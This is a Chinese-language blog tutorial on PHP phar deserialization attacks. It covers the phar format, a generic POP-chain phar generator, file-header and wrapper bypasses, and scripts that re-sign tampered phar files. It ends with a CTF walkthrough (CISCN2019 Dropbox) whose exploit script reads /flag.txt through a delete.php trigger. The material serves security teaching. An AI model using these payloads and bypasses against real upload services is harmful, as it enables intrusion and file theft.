phar反序列化
phar是php的一个伪协议,下面是其正常应用:
<?php
// 创建一个新的 Phar 文件
$phar = new Phar('myapp.phar');
// 添加文件
$phar['index.php'] = file_get_contents('index.php');
$phar['about.php'] = file_get_contents('about.php');
// 设置默认的启动文件
$phar->setStub($phar->createDefaultStub('index.php'));
// 现在,你可以像访问文件一样访问 Phar 文件中的内容
include 'phar://myapp.phar/index.php';
?>
这个伪协议可以将多个文件的内容合并在一个phar文件下,然后用类似路径的方式去访问.
phar文件是由下面四个部分组成:
1. a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3. the file contents
被压缩文件的内容。
4. [optional] a signature for verifying Phar integrity (phar file format only)
一种处于文件末尾的签名
phar会造成反序列化漏洞的原因,是phar文件会以序列化的形式存储用户自定义的meta-data
,PHP使用phar_parse_metadata
在解析meta数据时,会调用php_var_unserialize
进行反序列化操作。
下面的函数会受到影响
我们来看一个通用性的生成脚本
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();//这个$o实际上是我们构造的pop链的最外层接口
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
然后如果上传文件后能够在服务器端构造出如下的代码,即可成功的执行反序列化攻击
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
phar反序列化攻击的要点主要有如下三条:
1 . phar文件能上传至服务器
2 . 存在可利用的魔术方法
3 . 文件操作的参数可控,且且:
、/
、phar
等特殊字符没有被过滤
一些绕过姿势
1.文件头检测绕过
可以通过在stub中添加参数来实现将phar文件当做jpg/png等类型的文件解析
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
2.文件包含时限制头部字段
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///home/sx/test.phar/test.txt
compress.zlib://phar:///home/==sx==/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
// 还可以使用伪协议的方法绕过
php://filter/read=convert.base64-encode/resource=phar://phar.phar
3.对于文件中__HALT_COMOILER
进行检测
gzip test.phar
可以在linux下压缩其为gzip压缩包,然后文件包含的时候使用compress.gzip来解析
4.__wakeup绕过和fastgc
由于在phar文件的结尾处存在对于文件的签名,因此我们不能简单的打开文件去修改,而是在修改结束之后需要对签名进行一个处理.
from hashlib import sha1 #默认sha1加密
with open('phar.phar', 'rb') as file:
f = file.read() # 修改内容后的phar文件,以二进制文件形式打开
s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newPhar.phar', 'wb') as file:
file.write(newf) # 写入新文件
`from hashlib import sha256 #也有sha256加密`
`with open("exp.phar", "rb") as f:`
`text = f.read()`
`main = text[:-40] #正文部分(除去最后40字节)`
`end = text[-8:] #最后8位不变`
`new_sign = sha256(main).digest()`
`new_phar = main + new_sign + end`
`open("new_exp.phar", "wb").write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件`
接下来用一个例题来演示一下整个流程.
[CISCN2019 华北赛区 Day1 Web1]Dropbox
上来有一个注册框,能够注册并登录.
进去以后发现是个类似网盘的东西,能够进行文件上传,经过测试发现只能上传图片.上传成功后发现可以进行下载或是删除.
经过测试发现存在文件下载漏洞.我们通过两次路径穿越下载源码.
index.php(省略前端html和js了,因为没有什么实际作用)
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
没有什么东西,但是引用了一个class.php,我们去把他下下来.
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
其中含有三个类,其中User的__destruct()魔术方法明显是我们将要的接口.(为什么不是FileList的__destruct()?因为他的__destruct()中含有过多的前端交互元素,一看就有他自己的作用.)File类的Close方法明显将作为任意读文件的接口,但是如果将Close方法直接连接到User的__destruct(),将无法输出读到的文件,因此我们需要通过FlieList的__call()魔术方法来作为中间节点.
我们可以看到,__call()魔术方法的
$this->results[$file->name()][$func] = $file->$func();
很有意思,他将函数执行的结果存放到results数组中,而观察该类的其他方法可知,results数组中的内容会被作为字符串输出的.那么目标也就明确了,应该将flie中的Close方法访问到的文件内容存储到results中.pop链如下.
User.__destruct()->Filelist.__call()->File.close()
由于接口为文件上传,因此我们也就想到了phar反序列化攻击,因此也就写成脚本如下
<?php
class User{
public $db;
}
class FileList{
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
#由于file参数是从files。foreach读取的。而foreach要求是个数组。所以这边要用数组
$this->results = array();
$this->funcs = array();
}
}
class File{
public $filename;
public function __construct(){
$this->filename='/flag.txt';
}
}
$a=new User();
$a->db=new FileList();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
为什么读取的文件叫做flag.txt?答案是猜的,猜测根目录下有这样一个文件.
然后将扩展名修改为.jpg,因为phar文件的解释是不需要依赖于扩展名的.
那么接下来又存在一个问题,我们需要一个文件包含的漏洞去触发这个反序列化漏洞.我们下载download.php和delete.php的源码去看看.
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
我们可以看到由于download.php文件存在下面这条语句,因此不能通过文件下载漏洞直接获得flagini_set("open_basedir", getcwd() . ":/etc:/tmp");
限制了活动的范围:当前目录,/etc目录,/tmp目录
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
这里我们可以看到,并没有对于活动目录的限制,而其中调用了File方法中的delete函数,我们可以看到delete函数中存在unlink(),可以触发phar反序列化.因此我们只需要上传我们生成的phar.jpg文件,并在delete时抓包,将filename参数改为phar://phar.jpg/test.txt
即可.
注意一个要点,不同版本的php生成的phar文件可能是不同的,这题的php的版本是5.6,如果使用7.12的php进行phar文件生成则无法顺利读取flag.
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!